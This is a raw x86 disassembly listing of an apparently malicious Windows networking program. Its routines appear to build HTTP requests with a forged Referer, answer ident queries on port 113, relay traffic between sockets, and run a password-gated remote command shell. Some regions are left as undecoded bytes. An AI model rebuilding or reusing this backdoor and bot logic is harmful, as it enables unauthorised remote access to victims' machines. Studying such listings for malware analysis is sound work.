		push	ebx
		lea	eax, [ebp+var_4A0]
		push	edi
		push	eax
		push	101h
		call	dword_4CAEE4
		push	6
		push	1
		push	2
		call	dword_4CAFF4
		mov	ebx, eax
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_14]
		call	dword_4CAF74
		push	[ebp+arg_10]
		mov	[ebp+var_E], ax
		call	sub_40AAF9
		pop	ecx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	dword_4CAF1C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4101B8
		mov	eax, [ebp+arg_20]
		cmp	eax, edi
		jnz	short loc_410154
		mov	eax, offset dword_43D128

loc_410154:				; CODE XREF: sub_4100DB+72j
		push	esi
		mov	esi, 100h
		push	[ebp+arg_10]
		push	eax
		lea	eax, [ebp+var_110]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	offset aSSHttp1_1Refer ; "%s %s	HTTP/1.1\nReferer: %s\nHost: %s\nCon"...
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 1Ch
		lea	eax, [ebp+var_110]
		push	edi
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_110]
		push	eax
		push	ebx
		call	dword_4CAFC4
		push	esi
		lea	eax, [ebp+var_110]
		push	edi
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		lea	eax, [ebp+var_110]
		push	edi
		push	esi
		push	eax
		push	ebx
		call	dword_4CAF8C
		pop	esi

loc_4101B8:				; CODE XREF: sub_4100DB+6Bj
		push	ebx
		call	dword_4CB00C
		call	dword_4CAECC
		lea	eax, [ebp+var_110]
		push	eax
		lea	eax, [ebp+var_310]
		push	eax
		call	sub_41B886
		cmp	[ebp+arg_C], edi
		pop	ecx
		pop	ecx
		jnz	short loc_4101F8
		push	edi
		lea	eax, [ebp+var_310]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h

loc_4101F8:				; CODE XREF: sub_4100DB+102j
		pop	edi
		pop	ebx
		leave
		retn
sub_4100DB	endp

; ---------------------------------------------------------------------------

loc_4101FC:				; DATA XREF: ___:00401666o
					; sub_401ACD+4369o
		push	ebp
		mov	ebp, esp
		sub	esp, 238h
		push	ebx
		push	esi
		push	edi
		push	10h
		pop	edi
		xor	esi, esi
		push	edi
		lea	eax, [ebp-1Ch]
		push	esi
		push	eax
		mov	[ebp-8], esi
		call	sub_41B590
		add	esp, 0Ch
		mov	word ptr [ebp-1Ch], 2
		push	71h
		call	dword_4CAF74
		push	esi
		push	1
		push	2
		mov	[ebp-1Ah], ax
		mov	[ebp-18h], esi
		call	dword_4CAFF4
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_410360
		mov	eax, [ebp+8]
		push	edi
		imul	eax, 234h
		mov	dword_43DEBC[eax], ebx
		lea	eax, [ebp-1Ch]
		push	eax
		push	ebx
		call	dword_4CAFA0
		cmp	eax, 0FFFFFFFFh
		jz	loc_410360
		push	5
		push	ebx
		call	dword_4CAF9C
		cmp	eax, 0FFFFFFFFh
		jz	loc_410360
		mov	[ebp-0Ch], edi
		mov	edi, 200h

loc_410287:				; CODE XREF: ___:004102E6j
					; ___:00410349j ...
		lea	eax, [ebp-0Ch]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		push	ebx
		call	dword_4CB008
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-4], eax
		jz	loc_41035B
		movzx	eax, word ptr [ebp-2Ah]
		push	eax
		push	dword ptr [ebp-28h]
		call	dword_4CB000
		push	eax
		lea	eax, [ebp-238h]
		push	offset dword_433F94
		push	eax
		call	sub_41B886
		lea	eax, [ebp-238h]
		push	eax
		call	sub_4151AC
		add	esp, 14h
		lea	eax, [ebp-238h]
		push	esi
		push	edi
		push	eax
		push	dword ptr [ebp-4]
		call	dword_4CAF8C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_410287
		lea	eax, [ebp-238h]
		push	esi
		push	eax
		call	sub_417F7F
		push	0Ch
		lea	eax, [ebp-38h]
		push	esi
		push	eax
		call	sub_41B590
		push	esi
		push	esi
		lea	eax, [ebp-38h]
		push	2
		push	eax
		call	sub_40B08D
		add	esp, 24h
		push	eax
		push	offset aUseridUnixS ; "	: USERID : UNIX	: %s\r\n"
		lea	eax, [ebp-238h]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp-238h]
		push	esi
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp-238h]
		push	eax
		push	dword ptr [ebp-4]
		call	dword_4CAFC4
		cmp	eax, 0FFFFFFFFh
		jz	loc_410287
		mov	dword ptr [ebp-8], 1
		jmp	loc_410287
; ---------------------------------------------------------------------------

loc_41035B:				; CODE XREF: ___:0041029Cj
		cmp	[ebp-8], esi
		jnz	short loc_410387

loc_410360:				; CODE XREF: ___:00410243j
					; ___:00410267j ...
		call	dword_4CAF08
		push	eax
		lea	eax, [ebp-238h]
		push	offset dword_433F50
		push	eax
		call	sub_41B886
		lea	eax, [ebp-238h]
		push	eax
		call	sub_4151AC
		add	esp, 10h

loc_410387:				; CODE XREF: ___:0041035Ej
		push	ebx
		call	dword_4CB00C
		push	dword ptr [ebp-4]
		call	dword_4CB00C
		push	dword ptr [ebp+8]
		call	sub_40B412
		pop	ecx
		push	esi
		call	near ptr 26F0000h
		nop
		pop	edi
		pop	esi
		pop	ebx

loc_4103AA:				; DATA XREF: sub_401ACD+613Bo
		push	ebp
		mov	ebp, esp
		sub	esp, 350h
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	4Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp-150h]
		push	10h
		rep movsd
		pop	edi
		mov	dword ptr [eax+120h], 1
		xor	esi, esi
		push	edi
		lea	eax, [ebp-14h]
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	word ptr [ebp-14h], 2
		push	dword ptr [ebp-44h]
		call	dword_4CAF74
		push	6
		push	1
		push	2
		mov	[ebp-12h], ax
		mov	[ebp-10h], esi
		mov	[ebp-4], edi
		call	dword_4CAFF4
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+8], eax
		jz	loc_410516
		mov	ecx, [ebp-40h]
		push	1
		imul	ecx, 234h
		push	401h
		push	esi
		push	eax
		mov	dword_43DEBC[ecx], eax
		call	dword_4CAE84
		lea	eax, [ebp-14h]
		push	edi
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CAFA0
		test	eax, eax
		jnz	loc_410516
		push	0Ah
		push	dword ptr [ebp+8]
		call	dword_4CAF9C
		test	eax, eax
		jnz	loc_410516

loc_41045A:				; CODE XREF: ___:00410470j
		lea	eax, [ebp-4]
		push	eax
		lea	eax, [ebp-28h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CB008
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_41045A
		movzx	eax, word ptr [ebp-26h]
		push	dword ptr [ebp-40h]
		mov	[ebp-14Ch], edi
		mov	[ebp-30h], esi
		push	eax
		push	dword ptr [ebp-24h]
		call	dword_4CB000
		push	eax
		lea	eax, [ebp-350h]
		push	offset unk_433FFC
		push	eax
		call	sub_41B886
		push	edi
		lea	eax, [ebp-350h]
		push	18h
		push	eax
		call	sub_40B0F6
		mov	[ebp-3Ch], eax
		imul	eax, 234h
		mov	ecx, [ebp-40h]
		add	esp, 20h
		mov	dword_43DEB4[eax], ecx
		lea	eax, [ebp-18h]
		push	eax
		lea	eax, [ebp-150h]
		push	esi
		push	eax
		push	offset loc_41053B
		push	esi
		push	esi
		nop
; ---------------------------------------------------------------------------
		dw 0F9E8h
		dd 8B022800h, 0C969C44Dh, 234h,	8189C63Bh, 43DEC4h, 75391374h
		dd 63850FD0h, 6AFFFFFFh, 7AE89032h, 0EB022800h,	0DBE890EDh
		dd 50022807h, 433FC068h, 4D0EE800h, 59590000h
; ---------------------------------------------------------------------------
		jmp	short loc_410519
; ---------------------------------------------------------------------------

loc_410516:				; CODE XREF: ___:0041040Dj
					; ___:00410441j ...
		mov	edi, [ebp+8]

loc_410519:				; CODE XREF: ___:00410514j
		push	edi
		call	dword_4CB00C
		push	dword ptr [ebp+8]
		call	dword_4CB00C
		push	dword ptr [ebp-40h]
		call	sub_40B412
		pop	ecx
		push	esi
		nop
		call	near ptr 26F0000h
		pop	edi
		pop	esi

loc_41053B:				; DATA XREF: ___:004104CEo
		push	ebp
		mov	ebp, esp
		mov	eax, 1344h
		call	sub_41BB20
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	4Ah
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-144h]
		rep movsd
		mov	ebx, [ebp-30h]
		push	1
		pop	ecx
		mov	[ebp-4], ebx
		push	6
		push	ecx
		push	2
		mov	[eax+120h], ecx
		call	dword_4CAFF4
		mov	esi, eax
		xor	edi, edi
		cmp	esi, 0FFFFFFFFh
		mov	[ebp+8], esi
		jz	loc_4106F1
		push	10h
		lea	eax, [ebp-18h]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	word ptr [ebp-18h], 2
		push	dword ptr [ebp-3Ch]
		call	dword_4CAF74
		mov	[ebp-16h], ax
		lea	eax, [ebp-13Ch]
		push	eax
		call	dword_4CAFB4
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-8], eax
		jnz	short loc_4105CB
		lea	eax, [ebp-13Ch]
		push	eax
		call	dword_4CAFF8
		jmp	short loc_4105D9
; ---------------------------------------------------------------------------

loc_4105CB:				; CODE XREF: ___:004105BAj
		push	2
		lea	eax, [ebp-8]
		push	4
		push	eax
		call	dword_4CAF2C

loc_4105D9:				; CODE XREF: ___:004105C9j
		cmp	eax, edi
		jz	loc_4106F1
		mov	eax, [eax+0Ch]
		push	10h
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp-14h], eax
		lea	eax, [ebp-18h]
		push	eax
		push	esi
		call	dword_4CAF1C
		cmp	eax, 0FFFFFFFFh
		jz	loc_4106F1
		movzx	eax, word ptr [ebp-16h]
		push	dword ptr [ebp-34h]
		mov	[ebp-20h], edi
		push	eax
		push	dword ptr [ebp-14h]
		call	dword_4CB000
		push	eax
		lea	eax, [ebp-344h]
		push	offset unk_434084
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp-344h]
		push	18h
		push	eax
		call	sub_40B0F6
		imul	ebx, 234h
		mov	[ebp-30h], eax
		imul	eax, 234h
		mov	ecx, [ebp-34h]
		lea	esi, dword_43DEBC[ebx]
		mov	dword_43DEB4[eax], ecx
		add	esp, 20h
		mov	ecx, [esi]
		mov	dword_43DEC0[eax], ecx
		lea	eax, [ebp-1Ch]
		push	eax
		lea	eax, [ebp-144h]
		push	edi
		push	eax
		push	offset loc_410722
		push	edi
		push	edi
		call	near ptr 26905D4h
		nop
		mov	ecx, [ebp-30h]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_43DEC4[ecx], eax
		jz	short loc_4106DE

loc_41068B:				; CODE XREF: ___:00410698j
		cmp	[ebp-20h], edi
		jnz	short loc_41069A
		push	32h
		nop
		call	near ptr 2690579h
		jmp	short loc_41068B
; ---------------------------------------------------------------------------

loc_41069A:				; CODE XREF: ___:0041068Ej
		mov	ebx, 1000h

loc_41069F:				; CODE XREF: ___:004106DAj
		push	ebx
		lea	eax, [ebp-1344h]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp-1344h]
		push	edi
		push	ebx
		push	eax
		push	dword ptr [esi]
		call	dword_4CAF8C
		cmp	eax, edi
		jle	short loc_4106F1
		push	edi
		push	eax
		lea	eax, [ebp-1344h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CAFC4
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41069F
		jmp	short loc_4106F1
; ---------------------------------------------------------------------------

loc_4106DE:				; CODE XREF: ___:00410689j
		call	near ptr 2690CE2h
		nop
		push	eax
		push	offset unk_434044
		call	sub_415220
		pop	ecx
		pop	ecx

loc_4106F1:				; CODE XREF: ___:0041057Fj
					; ___:004105DBj ...
		mov	eax, [ebp-4]
		imul	eax, 234h
		push	dword_43DEBC[eax]
		call	dword_4CB00C
		push	dword ptr [ebp+8]
		call	dword_4CB00C
		push	dword ptr [ebp-4]
		call	sub_40B412
		pop	ecx
		push	edi
		nop
		call	near ptr 26F0000h
		pop	edi
		pop	esi
		pop	ebx

loc_410722:				; DATA XREF: ___:0041066Bo
		push	ebp
		mov	ebp, esp
		mov	eax, 1128h
		call	sub_41BB20
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	4Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp-128h]
		rep movsd
		mov	esi, [ebp-14h]
		mov	dword ptr [eax+124h], 1
		imul	esi, 234h
		mov	edi, 1000h

loc_410759:				; CODE XREF: ___:0041079Ej
		push	edi
		lea	eax, [ebp-1128h]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp-1128h]
		push	0
		push	edi
		push	eax
		push	dword_43DEC0[esi]
		call	dword_4CAF8C
		test	eax, eax
		jle	short loc_4107A0
		push	0
		push	eax
		lea	eax, [ebp-1128h]
		push	eax
		push	dword_43DEBC[esi]
		call	dword_4CAFC4
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_410759

loc_4107A0:				; CODE XREF: ___:00410783j
		push	dword_43DEC0[esi]
		call	dword_4CB00C
		push	dword ptr [ebp-14h]
		call	sub_40B412
		pop	ecx
		push	0
		nop
; ---------------------------------------------------------------------------
		dd 2DF843E8h
; ---------------------------------------------------------------------------
		add	bl, [edi+5Eh]
		push	ebp
		mov	ebp, esp
		sub	esp, 3D4h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	78h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-3D4h]
		push	1
		mov	dword ptr [ebp-0Ch], 1Eh
		pop	ebx
		rep movsd
		mov	[eax+1DCh], ebx
		mov	eax, [ebp-208h]
		mov	[ebp+8], eax
		imul	eax, 234h
		lea	esi, dword_43DEBC[eax]
		xor	edi, edi
		mov	[ebp-8], edi
		mov	[ebp-1F4h], ebx
		mov	eax, [esi]
		mov	[ebp-1F0h], eax
		lea	eax, [ebp-0Ch]
		push	eax
		push	edi
		lea	eax, [ebp-1F4h]
		push	edi
		push	eax
		push	edi
		call	dword_4CAF5C
		test	eax, eax
		jnz	short loc_410843
		push	dword ptr [esi]
		call	dword_4CB00C
		push	dword ptr [ebp+8]
		call	sub_40B412
		pop	ecx
		push	edi
		call	near ptr 26F0000h
		nop

loc_410843:				; CODE XREF: ___:00410829j
		push	edi
		lea	eax, [ebp-3Ch]
		push	ebx
		push	eax
		push	dword ptr [esi]
		call	dword_4CAF8C
		lea	eax, [ebp-2Ch]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	sub_4109C4
		lea	eax, [ebp-4Ch]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	sub_4109C4
		lea	eax, [ebp-0F0h]
		push	40h
		push	eax
		push	dword ptr [esi]
		call	sub_4109C4
		add	esp, 24h
		lea	eax, [ebp-4]
		mov	dword ptr [ebp-4], 10h
		push	eax
		lea	eax, [ebp-1Ch]
		push	eax
		push	dword ptr [esi]
		call	dword_4CAEC8
		test	eax, eax
		jz	short loc_4108BC
		call	dword_4CAF08
		push	eax
		push	offset unk_43415C
		call	sub_415220
		push	dword ptr [ebp+8]
		call	sub_40B412
		add	esp, 0Ch
		push	edi
		nop
		call	near ptr 26F0000h

loc_4108BC:				; CODE XREF: ___:00410897j
		push	2
		lea	eax, [ebp-18h]
		push	4
		push	eax
		call	dword_4CAF2C
		cmp	eax, edi
		jnz	short loc_4108E6
		push	dword ptr [ebp-18h]
		call	dword_4CB000
		push	eax
		lea	eax, [ebp-0B0h]
		push	eax
		call	sub_41B886
		jmp	short loc_4108F4
; ---------------------------------------------------------------------------

loc_4108E6:				; CODE XREF: ___:004108CCj
		push	dword ptr [eax]
		lea	eax, [ebp-0B0h]
		push	eax
		call	sub_41BEB0

loc_4108F4:				; CODE XREF: ___:004108E4j
		pop	ecx
		pop	ecx
		push	edi
		push	ebx
		push	offset dword_43D128
		push	dword ptr [esi]
		call	dword_4CAFC4
		cmp	dword_4CDCD8, edi
		jnz	short loc_410956
		push	dword ptr [ebp-18h]
		lea	eax, [ebp-350h]
		push	eax
		lea	eax, [ebp-0B0h]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		call	sub_410A1E
		add	esp, 10h
		test	eax, eax
		jnz	short loc_410956
		push	edi
		push	13h
		push	offset aPermissionDeni ; "Permission denied\n"
		push	dword ptr [esi]
		call	dword_4CAFC4
		push	dword ptr [esi]
		call	dword_4CB00C
		push	dword ptr [ebp+8]
		call	sub_40B412
		pop	ecx
		push	edi
		nop
		call	near ptr 26F0000h

loc_410956:				; CODE XREF: ___:0041090Bj
					; ___:0041092Cj
		lea	eax, [ebp-0B0h]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		push	offset unk_434120
		call	sub_415220
		push	dword ptr [ebp+8]
		call	sub_410CD5
		add	esp, 10h
		test	eax, eax
		jnz	short loc_41099D
		nop
		call	near ptr 2690CE2h
		push	eax
		push	offset unk_4340F4
		call	sub_415220
		push	dword ptr [ebp+8]
		call	sub_40B412
		add	esp, 0Ch
		push	ebx
		nop
		call	near ptr 26F0000h

loc_41099D:				; CODE XREF: ___:00410978j
		lea	eax, [ebp-0B0h]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		push	offset unk_4340C8
		call	sub_415220
		push	dword ptr [ebp+8]
		call	sub_40B412
		add	esp, 10h
		push	edi
		call	near ptr 26F0000h
		nop

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4109C4	proc near		; CODE XREF: ___:00410859p
					; ___:00410866p ...

var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	0
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		push	[ebp+arg_0]
		call	dword_4CAF8C
		cmp	eax, 1
		jnz	short loc_410A14
		mov	esi, [ebp+arg_4]

loc_4109E2:				; CODE XREF: sub_4109C4+41j
		mov	al, [ebp+var_1]
		mov	[esi], al
		inc	esi
		dec	[ebp+arg_8]
		jz	short loc_410A09
		test	al, al
		jz	short loc_410A18
		push	0
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		push	[ebp+arg_0]
		call	dword_4CAF8C
		cmp	eax, 1
		jz	short loc_4109E2
		jmp	short loc_410A14
; ---------------------------------------------------------------------------

loc_410A09:				; CODE XREF: sub_4109C4+27j
		push	offset unk_434188
		call	sub_415220
		pop	ecx

loc_410A14:				; CODE XREF: sub_4109C4+19j
					; sub_4109C4+43j
		xor	eax, eax
		jmp	short loc_410A1B
; ---------------------------------------------------------------------------

loc_410A18:				; CODE XREF: sub_4109C4+2Bj
		push	1
		pop	eax

loc_410A1B:				; CODE XREF: sub_4109C4+52j
		pop	esi
		leave
		retn
sub_4109C4	endp


; =============== S U B	R O U T	I N E =======================================



sub_410A1E	proc near		; CODE XREF: ___:00410922p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_0]
		push	[esp+4+arg_8]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_410A49
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		push	offset dword_4341B4
		call	sub_415220
		add	esp, 0Ch
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_410A49:				; CODE XREF: sub_410A1E+11j
		push	1
		pop	eax
		retn
sub_410A1E	endp

; ---------------------------------------------------------------------------
byte_410A4D	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+23D4o
		dd 5A4EC81h, 458B0000h,	6A575608h, 0F08B5978h, 0FDECBD8Dh
		dd 16AFFFFh, 895FA5F3h,	1DCB8h,	5C858D00h, 50FFFFFAh, 20268h
		dd 0E415FF00h, 33004CAEh, 74C63BF6h, 2468501Dh,	0E8004343h
		dd 478Ch, 0E8B475FFh, 0FFFFA976h, 570CC483h, 2DF55BE8h
		dd 68579002h, 410CCBh, 370186E8h, 0C0859002h, 0E8902975h
		dd 2280226h, 42E06850h,	59E80043h, 59000047h, 0CC15FF59h
		dd 0FF004CAEh, 3BE8B475h, 59FFFFA9h, 21E89057h,	53022DF5h
		dd 458D106Ah, 0E85056E0h, 0AAA4h, 660CC483h, 2E045C7h
		dd 0B075FF00h, 0AF7415FFh, 66A004Ch, 66026A57h,	89E24589h
		dd 15FFE475h, 4CAFF4h, 0FB83D88Bh, 3B840FFFh, 8B000001h
		dd 106AB445h, 234C069h,	98890000h, 43DEBCh, 50E0458Dh
		dd 0A015FF53h, 85004CAFh, 17850FC0h, 68000001h,	7FFFFFFFh
		dd 9C15FF53h, 85004CAFh, 3850FC0h, 68000001h, 4342A4h
		dd 0CF045C7h, 89000000h, 7589F475h, 4642E8F8h, 89590000h
		dd 458D087Dh, 0FC45C7FCh, 10h, 0CC458D50h, 15FF5350h, 4CB008h
		dd 0FF83F88Bh, 0CA840FFFh, 0FF000000h, 458D0875h, 86A5008h
		dd 0FFFF68h, 15FF5700h,	4CAF54h, 74FFF883h, 45B70FC5h
		dd 0B475FFCEh, 50C87589h, 0FFD075FFh, 4CB00015h, 858D5000h
		dd 0FFFFFBECh, 43426068h, 0B7E85000h, 8D0000ACh, 0FFFBEC85h
		dd 0D1E850FFh, 57000045h, 0FBEC858Dh, 96AFFFFh,	0A50CE850h
		dd 4589FFFFh, 34C069B8h, 8B000002h, 0C483B44Dh,	0B4888924h
		dd 8D0043DEh, 8D50DC45h, 0FFFDEC85h, 685056FFh,	4107BFh
		dd 56F0458Dh, 0B9E89050h, 8B0227F9h, 0C969B84Dh, 234h
		dd 8189C63Bh, 43DEC4h, 75391374h, 37850FC8h, 6AFFFFFFh
		dd 3AE89032h, 0EB0227F9h, 9BE890EDh, 50022800h,	43422468h
		dd 45CEE800h, 59590000h, 7D8B03EBh, 815FF08h, 50004CAFh
		dd 0FBEC858Dh, 0EC68FFFFh, 50004341h, 0AC15E8h,	0CC48300h
		dd 75C47539h, 858D5620h, 0FFFFFBECh, 50C075FFh,	0FDF0858Dh
		dd 0FF50FFFFh, 0FFFDECB5h, 8DDCE8FFh, 0C483FFFFh, 0EC858D14h
		dd 50FFFFFBh, 4507E8h, 0FF575900h, 4CB00C15h, 15FF5300h
		dd 4CB00Ch, 0AECC15FFh,	75FF004Ch, 0A750E8B4h, 5659FFFFh
		dd 0F336E890h, 335B022Dh, 244439C0h, 0C0940F04h
; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410CD5	proc near		; CODE XREF: ___:0041096Ep

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	edi
		call	sub_410E26
		imul	edi, 234h
		mov	esi, eax
		xor	ebx, ebx
		mov	eax, dword_43DEBC[edi]
		mov	[ebp+var_C], 0Ch
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	[esi+0Ch], eax
		mov	edi, dword_42707C
		pop	ecx
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	esi
		push	offset sub_410FF8
		lea	eax, [ebp+var_C]
		push	ebx
		push	eax
		call	edi
		cmp	eax, ebx
		mov	[esi+10h], eax
		jnz	short loc_410D40
		nop
		call	near ptr 2690CE2h
		push	eax
		push	offset unk_434384
		call	sub_415220
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		pop	ecx
		pop	ecx
		jmp	short loc_410D7A
; ---------------------------------------------------------------------------

loc_410D40:				; CODE XREF: sub_410CD5+50j
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	esi
		push	offset sub_4110AA
		lea	eax, [ebp+var_C]
		push	ebx
		push	eax
		call	edi
		cmp	eax, ebx
		mov	[esi+14h], eax
		jnz	short loc_410D81
		nop
		call	near ptr 2690CE2h
		push	eax
		push	offset unk_434384
		call	sub_415220
		pop	ecx
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		pop	ecx
		push	ebx
		push	dword ptr [esi+14h]
		nop
		call	near ptr 26A0E69h

loc_410D7A:				; CODE XREF: sub_410CD5+69j
		xor	eax, eax
		jmp	loc_410E21
; ---------------------------------------------------------------------------

loc_410D81:				; CODE XREF: sub_410CD5+82j
		mov	eax, [esi+10h]
		push	0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	eax, [esi+14h]
		mov	[ebp+var_14], eax
		mov	eax, [esi+8]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		push	3
		nop
		call	near ptr 2790000h
		sub	eax, ebx
		jz	short loc_410DDB
		dec	eax
		jz	short loc_410DD5
		dec	eax
		jz	short loc_410DC1
		nop
		call	near ptr 2690CE2h
		push	eax
		push	offset unk_434350
		call	sub_415220
		pop	ecx
		pop	ecx
		jmp	short loc_410DF0
; ---------------------------------------------------------------------------

loc_410DC1:				; CODE XREF: sub_410CD5+D5j
		mov	edi, dword_4270AC
		push	ebx
		push	dword ptr [esi+14h]
		call	edi
		push	ebx
		push	dword ptr [esi+10h]
		call	edi
		jmp	short loc_410DF0
; ---------------------------------------------------------------------------

loc_410DD5:				; CODE XREF: sub_410CD5+D2j
		push	ebx
		push	dword ptr [esi+10h]
		jmp	short loc_410DDF
; ---------------------------------------------------------------------------

loc_410DDB:				; CODE XREF: sub_410CD5+CFj
		push	ebx
		push	dword ptr [esi+14h]

loc_410DDF:				; CODE XREF: sub_410CD5+104j
		call	near ptr 26A0E69h
		nop
		push	1
		push	dword ptr [esi+8]
		call	near ptr 2710D21h
		nop

loc_410DF0:				; CODE XREF: sub_410CD5+EAj
					; sub_410CD5+FEj
		push	dword ptr [esi+10h]
		mov	edi, dword_427068
		call	edi
		push	dword ptr [esi+14h]
		call	edi
		push	dword ptr [esi+8]
		call	edi
		push	dword ptr [esi]
		call	edi
		push	dword ptr [esi+4]
		call	edi
		push	dword ptr [esi+0Ch]
		call	dword_4CB00C
		push	esi
		call	sub_41B0B1
		pop	ecx
		push	1
		pop	eax

loc_410E21:				; CODE XREF: sub_410CD5+A7j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_410CD5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410E26	proc near		; CODE XREF: sub_410CD5+Dp

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	18h
		mov	[ebp+var_4], edi
		mov	[ebp+var_8], edi
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		cmp	esi, edi
		jz	loc_410F10
		mov	ebx, dword_4270FC
		lea	eax, [ebp+var_14]
		push	edi
		push	eax
		lea	eax, [ebp+var_8]
		mov	[esi], edi
		push	eax
		mov	[esi+4], edi
		push	esi
		mov	[ebp+var_14], 0Ch
		mov	[ebp+var_10], edi
		mov	[ebp+var_C], 1
		call	ebx
		mov	edi, dword_427068
		test	eax, eax
		jnz	short loc_410E89
		call	near ptr 2690CE2h
		nop
		push	eax
		push	offset unk_434434
		jmp	short loc_410EA9
; ---------------------------------------------------------------------------

loc_410E89:				; CODE XREF: sub_410E26+53j
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		lea	eax, [esi+4]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	ebx
		test	eax, eax
		jnz	short loc_410EB1
		nop
		call	near ptr 2690CE2h
		push	eax
		push	offset unk_4343F4

loc_410EA9:				; CODE XREF: sub_410E26+61j
		call	sub_415220
		pop	ecx
		jmp	short loc_410EDF
; ---------------------------------------------------------------------------

loc_410EB1:				; CODE XREF: sub_410E26+75j
		push	[ebp+arg_0]
		push	[ebp+var_8]
		push	[ebp+var_4]
		call	sub_410F1F
		add	esp, 0Ch
		mov	[esi+8], eax
		push	[ebp+var_4]
		call	edi
		push	[ebp+var_8]
		call	edi
		cmp	dword ptr [esi+8], 0
		jnz	short loc_410F14
		push	offset unk_4343CC
		call	sub_4151AC

loc_410EDF:				; CODE XREF: sub_410E26+89j
		cmp	[ebp+var_4], 0
		pop	ecx
		jz	short loc_410EEB
		push	[ebp+var_4]
		call	edi

loc_410EEB:				; CODE XREF: sub_410E26+BEj
		cmp	[ebp+var_8], 0
		jz	short loc_410EF6
		push	[ebp+var_8]
		call	edi

loc_410EF6:				; CODE XREF: sub_410E26+C9j
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_410EFF
		push	eax
		call	edi

loc_410EFF:				; CODE XREF: sub_410E26+D4j
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_410F09
		push	eax
		call	edi

loc_410F09:				; CODE XREF: sub_410E26+DEj
		push	esi
		call	sub_41B0B1
		pop	ecx

loc_410F10:				; CODE XREF: sub_410E26+1Dj
		xor	eax, eax
